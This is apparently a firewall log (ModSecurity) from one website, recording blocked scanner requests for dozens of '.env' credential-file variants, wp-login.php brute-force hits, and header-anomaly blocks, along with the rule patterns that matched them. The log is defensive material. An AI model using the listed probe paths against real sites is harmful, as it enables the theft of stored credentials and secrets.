[Mon Dec 08 05:42:41.121374 2025] [:error] [pid 18726:tid 18745] [client 92.118.39.32:39384] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aTX00VwVbxmJGL5LHAc1OQAAANE"]
[Mon Dec 08 05:42:41.123813 2025] [:error] [pid 54705:tid 54758] [client 92.118.39.32:39398] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env.prod"] [unique_id "aTX00adUeDkxwo12SG8fngAAAZg"]
[Mon Dec 08 05:42:41.128606 2025] [:error] [pid 54705:tid 54743] [client 92.118.39.32:39386] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aTX00adUeDkxwo12SG8foQAAAYk"]
[Mon Dec 08 05:42:41.130373 2025] [:error] [pid 54705:tid 54736] [client 92.118.39.32:39442] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "aTX00adUeDkxwo12SG8fogAAAYI"]
[Mon Dec 08 05:42:41.139988 2025] [:error] [pid 54705:tid 54742] [client 92.118.39.32:39338] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aTX00adUeDkxwo12SG8fpAAAAYg"]
[Mon Dec 08 05:42:41.191631 2025] [:error] [pid 18726:tid 18752] [client 92.118.39.32:39428] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/src/.env"] [unique_id "aTX00VwVbxmJGL5LHAc1OwAAANg"]
[Mon Dec 08 05:42:41.192725 2025] [:error] [pid 54704:tid 54717] [client 92.118.39.32:39414] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aTX00XL1WYsMMmlqjh4PoQAAAUo"]
[Mon Dec 08 05:42:41.193198 2025] [:error] [pid 54671:tid 54686] [client 92.118.39.32:39322] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTX00VqOuiNLLCfVy7-IOwAAAQw"]
[Mon Dec 08 05:42:41.209447 2025] [:error] [pid 54704:tid 54710] [client 92.118.39.32:39370] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aTX00XL1WYsMMmlqjh4PogAAAUM"]
[Mon Dec 08 05:42:41.235489 2025] [:error] [pid 54671:tid 54690] [client 92.118.39.32:39356] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aTX00VqOuiNLLCfVy7-IPQAAARA"]
[Mon Dec 08 11:19:00.198494 2025] [:error] [pid 43361:tid 43382] [client 182.40.104.255:49564] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTZDpMrZJ_dsPpuIXPnH6gAAAZI"]
[Mon Dec 08 11:38:09.496297 2025] [:error] [pid 43324:tid 43334] [client 45.86.202.181:49439] [client 45.86.202.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTZIIWPgmTVXZPILisbeIAAAAUg"]
[Mon Dec 08 11:38:10.098291 2025] [:error] [pid 53927:tid 53953] [client 45.86.202.176:48119] [client 45.86.202.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aTZIIrTtIvPZ1Cm2r06XBAAAARg"]
[Mon Dec 08 11:38:10.699791 2025] [:error] [pid 43324:tid 43349] [client 45.86.202.184:20807] [client 45.86.202.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aTZIImPgmTVXZPILisbeLgAAAVc"]
[Mon Dec 08 11:38:21.302069 2025] [:error] [pid 53927:tid 53944] [client 45.86.202.167:50847] [client 45.86.202.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aTZILbTtIvPZ1Cm2r06XQgAAAQ8"]
[Mon Dec 08 11:46:38.168010 2025] [:error] [pid 39160:tid 39211] [client 45.88.186.148:52221] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTZKHim5Ndns0p3OT9CKEwAAAFI"]
[Mon Dec 08 11:46:38.572247 2025] [:error] [pid 53927:tid 53939] [client 45.88.186.148:52345] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTZKHrTtIvPZ1Cm2r06bEgAAAQo"]
[Mon Dec 08 11:46:38.984081 2025] [:error] [pid 53927:tid 53942] [client 45.88.186.148:52467] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTZKHrTtIvPZ1Cm2r06bLgAAAQ0"]
[Mon Dec 08 11:46:39.388351 2025] [:error] [pid 53927:tid 53930] [client 45.88.186.148:52576] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTZKH7TtIvPZ1Cm2r06bPQAAAQE"]
[Mon Dec 08 11:46:39.792649 2025] [:error] [pid 39159:tid 39173] [client 45.88.186.148:52722] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTZKH048HaQt8jqjSbqCwwAAAAg"]
[Mon Dec 08 12:06:01.304001 2025] [:error] [pid 53927:tid 53953] [client 185.223.152.58:26177] [client 185.223.152.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.58, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTZOqbTtIvPZ1Cm2r06kUQAAARg"]
[Mon Dec 08 12:37:28.693466 2025] [:error] [pid 39261:tid 39285] [client 209.38.195.254:53160] [client 209.38.195.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.195.254, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTZWCHijlEqKrwMitDEecQAAANQ"]
[Mon Dec 08 12:37:29.815037 2025] [:error] [pid 39261:tid 39271] [client 209.38.195.254:58730] [client 209.38.195.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.195.254, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTZWCXijlEqKrwMitDEedQAAAMY"]
[Mon Dec 08 16:24:40.080433 2025] [:error] [pid 2754:tid 2759] [client 43.153.19.83:44354] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTaLSLSzS4AFjS-DhTXqLgAAAUI"]
[Mon Dec 08 17:05:34.724745 2025] [:error] [pid 37840:tid 37860] [client 182.44.9.147:46112] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTaU3lnJIKqlie_aHNa-AQAAAZE"]
[Mon Dec 08 18:32:01.838150 2025] [:error] [pid 58758:tid 58778] [client 209.97.156.74:58398] [client 209.97.156.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aTapIQBS5U6_vVkyhEeW3gAAAFA"], referer: binance.com
[Mon Dec 08 20:23:18.908285 2025] [:error] [pid 48481:tid 48500] [client 52.37.253.147:42756] [client 52.37.253.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTbDNie0pzx5KCi3S0IB5QAAAM8"]
[Mon Dec 08 22:57:23.214968 2025] [:error] [pid 48482:tid 48522] [client 43.152.72.244:42348] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTbnU323gV7gRu3vn82hogAAAIo"]
[Tue Dec 09 01:44:06.661918 2025] [:error] [pid 57134:tid 57178] [client 13.60.24.15:39278] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTcOZln7_Hlbg-DXKIsRagAAAEQ"], referer: https://www.google.com/
[Tue Dec 09 01:44:07.260895 2025] [:error] [pid 57134:tid 57183] [client 13.60.24.15:39330] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aTcOZ1n7_Hlbg-DXKIsRbAAAAEk"], referer: https://www.google.com/
[Tue Dec 09 01:44:07.853238 2025] [:error] [pid 17674:tid 17688] [client 13.60.24.15:39378] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "aTcOZwX-np7s8gMWL-pNqwAAAAw"], referer: https://www.google.com/
[Tue Dec 09 01:44:08.445675 2025] [:error] [pid 57134:tid 57182] [client 13.60.24.15:39432] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "aTcOaFn7_Hlbg-DXKIsRbgAAAEg"], referer: https://www.google.com/
[Tue Dec 09 01:44:09.029908 2025] [:error] [pid 17588:tid 17620] [client 13.60.24.15:39502] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aTcOaTfolJgrovDIxbRpJQAAAIA"], referer: https://www.google.com/
[Tue Dec 09 01:44:09.604612 2025] [:error] [pid 17588:tid 17628] [client 13.60.24.15:39564] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aTcOaTfolJgrovDIxbRpJgAAAIg"], referer: https://www.google.com/
[Tue Dec 09 01:44:10.214342 2025] [:error] [pid 17674:tid 17693] [client 13.60.24.15:39632] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aTcOagX-np7s8gMWL-pNrAAAABE"], referer: https://www.google.com/
[Tue Dec 09 01:44:10.811486 2025] [:error] [pid 17588:tid 17644] [client 13.60.24.15:39698] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aTcOajfolJgrovDIxbRpJwAAAJg"], referer: https://www.google.com/
[Tue Dec 09 01:44:11.390721 2025] [:error] [pid 17589:tid 17652] [client 13.60.24.15:39760] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aTcOa43u_N_j630LWcCQ0AAAAUU"], referer: https://www.google.com/
[Tue Dec 09 01:44:12.023970 2025] [:error] [pid 59067:tid 59094] [client 13.60.24.15:39838] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aTcObHStYKzcfg3q9jfBjQAAARQ"], referer: https://www.google.com/
[Tue Dec 09 01:44:12.613669 2025] [:error] [pid 17588:tid 17630] [client 13.60.24.15:39908] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aTcObDfolJgrovDIxbRpKQAAAIo"], referer: https://www.google.com/
[Tue Dec 09 01:44:13.186133 2025] [:error] [pid 57134:tid 57196] [client 13.60.24.15:39974] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aTcObVn7_Hlbg-DXKIsRgAAAAFY"], referer: https://www.google.com/
[Tue Dec 09 01:44:13.793909 2025] [:error] [pid 17674:tid 17687] [client 13.60.24.15:40038] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aTcObQX-np7s8gMWL-pNrwAAAAs"], referer: https://www.google.com/
[Tue Dec 09 01:44:14.405182 2025] [:error] [pid 59067:tid 59081] [client 13.60.24.15:40088] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aTcObnStYKzcfg3q9jfBkAAAAQc"], referer: https://www.google.com/
[Tue Dec 09 01:44:14.991087 2025] [:error] [pid 17588:tid 17636] [client 13.60.24.15:40150] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.orig"] [unique_id "aTcObjfolJgrovDIxbRpLgAAAJA"], referer: https://www.google.com/
[Tue Dec 09 01:44:15.617620 2025] [:error] [pid 17589:tid 17655] [client 13.60.24.15:40208] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "aTcOb43u_N_j630LWcCQ2AAAAUg"], referer: https://www.google.com/
[Tue Dec 09 01:44:16.236135 2025] [:error] [pid 57134:tid 57194] [client 13.60.24.15:40264] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env~"] [unique_id "aTcOcFn7_Hlbg-DXKIsRiwAAAFQ"], referer: https://www.google.com/
[Tue Dec 09 01:44:16.831386 2025] [:error] [pid 59067:tid 59074] [client 13.60.24.15:40334] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.tmp"] [unique_id "aTcOcHStYKzcfg3q9jfBkwAAAQA"], referer: https://www.google.com/
[Tue Dec 09 01:44:18.783513 2025] [:error] [pid 57134:tid 57196] [client 13.60.24.15:40494] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "aTcOcln7_Hlbg-DXKIsRjgAAAFY"], referer: https://www.google.com/
[Tue Dec 09 01:44:19.427146 2025] [:error] [pid 59067:tid 59077] [client 13.60.24.15:40548] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env.save"] [unique_id "aTcOc3StYKzcfg3q9jfBmAAAAQM"], referer: https://www.google.com/
[Tue Dec 09 01:44:20.000924 2025] [:error] [pid 59067:tid 59094] [client 13.60.24.15:40608] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env.bak"] [unique_id "aTcOdHStYKzcfg3q9jfBmQAAARQ"], referer: https://www.google.com/
[Tue Dec 09 01:44:20.605349 2025] [:error] [pid 57134:tid 57195] [client 13.60.24.15:40670] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env.old"] [unique_id "aTcOdFn7_Hlbg-DXKIsRjwAAAFU"], referer: https://www.google.com/
[Tue Dec 09 01:44:21.222938 2025] [:error] [pid 17589:tid 17666] [client 13.60.24.15:40754] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aTcOdY3u_N_j630LWcCQ3gAAAVM"], referer: https://www.google.com/
[Tue Dec 09 01:44:21.815591 2025] [:error] [pid 17587:tid 17604] [client 13.60.24.15:40846] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env.save"] [unique_id "aTcOdZJbuGn8bV7YLq9i6QAAAMw"], referer: https://www.google.com/
[Tue Dec 09 01:44:22.398403 2025] [:error] [pid 57134:tid 57183] [client 13.60.24.15:40908] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env.bak"] [unique_id "aTcOdln7_Hlbg-DXKIsRkwAAAEk"], referer: https://www.google.com/
[Tue Dec 09 01:44:22.989429 2025] [:error] [pid 57134:tid 57191] [client 13.60.24.15:40950] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env.old"] [unique_id "aTcOdln7_Hlbg-DXKIsRlwAAAFE"], referer: https://www.google.com/
